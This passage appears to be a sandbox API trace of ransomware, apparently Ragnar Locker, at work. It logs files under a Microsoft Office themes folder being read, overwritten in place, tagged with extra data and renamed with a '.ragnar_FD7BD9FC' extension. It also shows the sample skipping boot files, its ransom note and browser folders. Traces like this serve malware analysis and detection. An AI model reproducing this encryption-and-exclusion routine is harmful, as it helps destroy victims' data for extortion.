(lpString1=".ELM", lpString2=".exe") returned -1 [0075.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm")) returned 0x20 [0075.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0075.384] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=46942) returned 1 [0075.385] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xb755, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.385] GetProcessHeap () returned 0x580000 [0075.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.385] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.386] VirtualAlloc (lpAddress=0x0, dwSize=0xb75e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.386] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.386] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.386] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb75e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb75e, lpOverlapped=0x0) returned 1 [0075.388] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.388] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb75e, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.388] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb75e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb75e, lpOverlapped=0x0) returned 1 [0075.389] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb75e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.389] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.389] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xb75e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.389] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.389] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.389] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.389] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.389] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.389] GetProcessHeap () returned 0x580000 [0075.389] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.389] CloseHandle (hObject=0x100) returned 1 [0075.390] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" [0075.390] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.ragnar_FD7BD9FC" [0075.390] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.390] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0075.390] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0075.390] lstrcpyW (in: lpString1=0x1eab6e, lpString2="RADIAL.INF" | out: lpString1="RADIAL.INF") returned="RADIAL.INF" [0075.390] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF") returned=".INF" [0075.390] lstrcmpiW (lpString1="RADIAL.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0075.390] lstrcmpiW (lpString1="RADIAL.INF", lpString2="autorun.inf") returned 1 [0075.390] lstrcmpiW (lpString1="RADIAL.INF", lpString2="boot.ini") returned 1 [0075.390] lstrcmpiW (lpString1="RADIAL.INF", lpString2="bootfont.bin") returned 1 [0075.390] lstrcmpiW (lpString1="RADIAL.INF", lpString2="bootsect.bak") returned 1 [0075.390] lstrcmpiW (lpString1="RADIAL.INF", lpString2="bootmgr") returned 1 [0075.390] lstrcmpiW (lpString1="RADIAL.INF", lpString2="bootmgr.efi") returned 1 [0075.390] lstrcmpiW (lpString1="RADIAL.INF", lpString2="bootmgfw.efi") returned 1 [0075.390] lstrcmpiW (lpString1="RADIAL.INF", lpString2="desktop.ini") returned 1 [0075.390] lstrcmpiW (lpString1="RADIAL.INF", lpString2="iconcache.db") returned 1 [0075.390] lstrcmpiW (lpString1="RADIAL.INF", lpString2="ntldr") returned 1 [0075.391] lstrcmpiW (lpString1="RADIAL.INF", lpString2="ntuser.dat") returned 1 [0075.391] lstrcmpiW (lpString1="RADIAL.INF", lpString2="ntuser.dat.log") returned 1 [0075.391] lstrcmpiW (lpString1="RADIAL.INF", lpString2="ntuser.ini") returned 1 [0075.391] lstrcmpiW (lpString1="RADIAL.INF", lpString2="thumbs.db") returned -1 [0075.391] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0075.391] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0075.391] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0075.391] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0075.391] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0075.391] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0075.391] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0075.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf")) returned 0x20 [0075.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0075.391] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=586) returned 1 [0075.391] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x241, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.391] GetProcessHeap () returned 0x580000 [0075.391] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.391] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.392] VirtualAlloc (lpAddress=0x0, dwSize=0x24a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.392] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.392] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.392] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x24a, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x24a, lpOverlapped=0x0) returned 1 [0075.392] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.392] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x24a, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.393] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x24a, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x24a, lpOverlapped=0x0) returned 1 [0075.393] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x24a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.393] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.393] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x24a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.393] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.393] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.393] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.393] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.393] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.393] GetProcessHeap () returned 0x580000 [0075.393] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.393] CloseHandle (hObject=0x100) returned 1 [0075.393] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" [0075.393] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF.ragnar_FD7BD9FC" [0075.394] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.394] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f2c1240, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7f2c1240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0075.394] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0075.394] lstrcpyW (in: lpString1=0x1eab6e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0075.394] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RGNR_FD7BD9FC.txt") returned=".txt" [0075.394] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0075.394] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0075.394] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0075.394] lstrcpyW (in: lpString1=0x1eab6e, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0075.394] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned=".PNG" [0075.394] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0075.394] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0075.394] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0075.394] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0075.394] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0075.394] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0075.394] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0075.394] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0075.394] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0075.395] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0075.395] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0075.395] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0075.395] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0075.395] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0075.395] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0075.395] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0075.395] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0075.395] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0075.395] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0075.395] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0075.395] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0075.395] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0075.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0075.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0075.395] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=19563) returned 1 [0075.395] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x4c62, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.395] GetProcessHeap () returned 0x580000 [0075.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.395] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.401] VirtualAlloc (lpAddress=0x0, dwSize=0x4c6b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.401] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.401] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.401] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4c6b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x4c6b, lpOverlapped=0x0) returned 1 [0075.402] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.402] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c6b, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.402] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4c6b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x4c6b, lpOverlapped=0x0) returned 1 [0075.402] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c6b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.403] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.403] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x4c6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.403] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.403] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.403] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.403] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.403] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.404] GetProcessHeap () returned 0x580000 [0075.404] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.404] CloseHandle (hObject=0x100) returned 1 [0075.404] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" [0075.404] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0075.404] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.404] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0075.404] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0075.404] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0075.404] lstrcmpiW (lpString1="REFINED", lpString2=".") returned 1 [0075.404] lstrcmpiW (lpString1="REFINED", lpString2="..") returned 1 [0075.405] lstrcmpiW (lpString1="REFINED", lpString2="Windows") returned -1 [0075.405] lstrcmpiW (lpString1="REFINED", lpString2="Windows.old") returned -1 [0075.405] lstrcmpiW (lpString1="REFINED", lpString2="Tor browser") returned -1 [0075.405] lstrcmpiW (lpString1="REFINED", lpString2="Internet Explorer") returned 1 [0075.405] lstrcmpiW (lpString1="REFINED", lpString2="Google") returned 1 [0075.405] lstrcmpiW (lpString1="REFINED", lpString2="Opera") returned 1 [0075.405] lstrcmpiW (lpString1="REFINED", lpString2="Opera Software") returned 1 [0075.405] lstrcmpiW (lpString1="REFINED", lpString2="Mozilla") returned 1 [0075.405] lstrcmpiW (lpString1="REFINED", lpString2="Mozilla Firefox") returned 1 [0075.405] lstrcmpiW (lpString1="REFINED", lpString2="$Recycle.Bin") 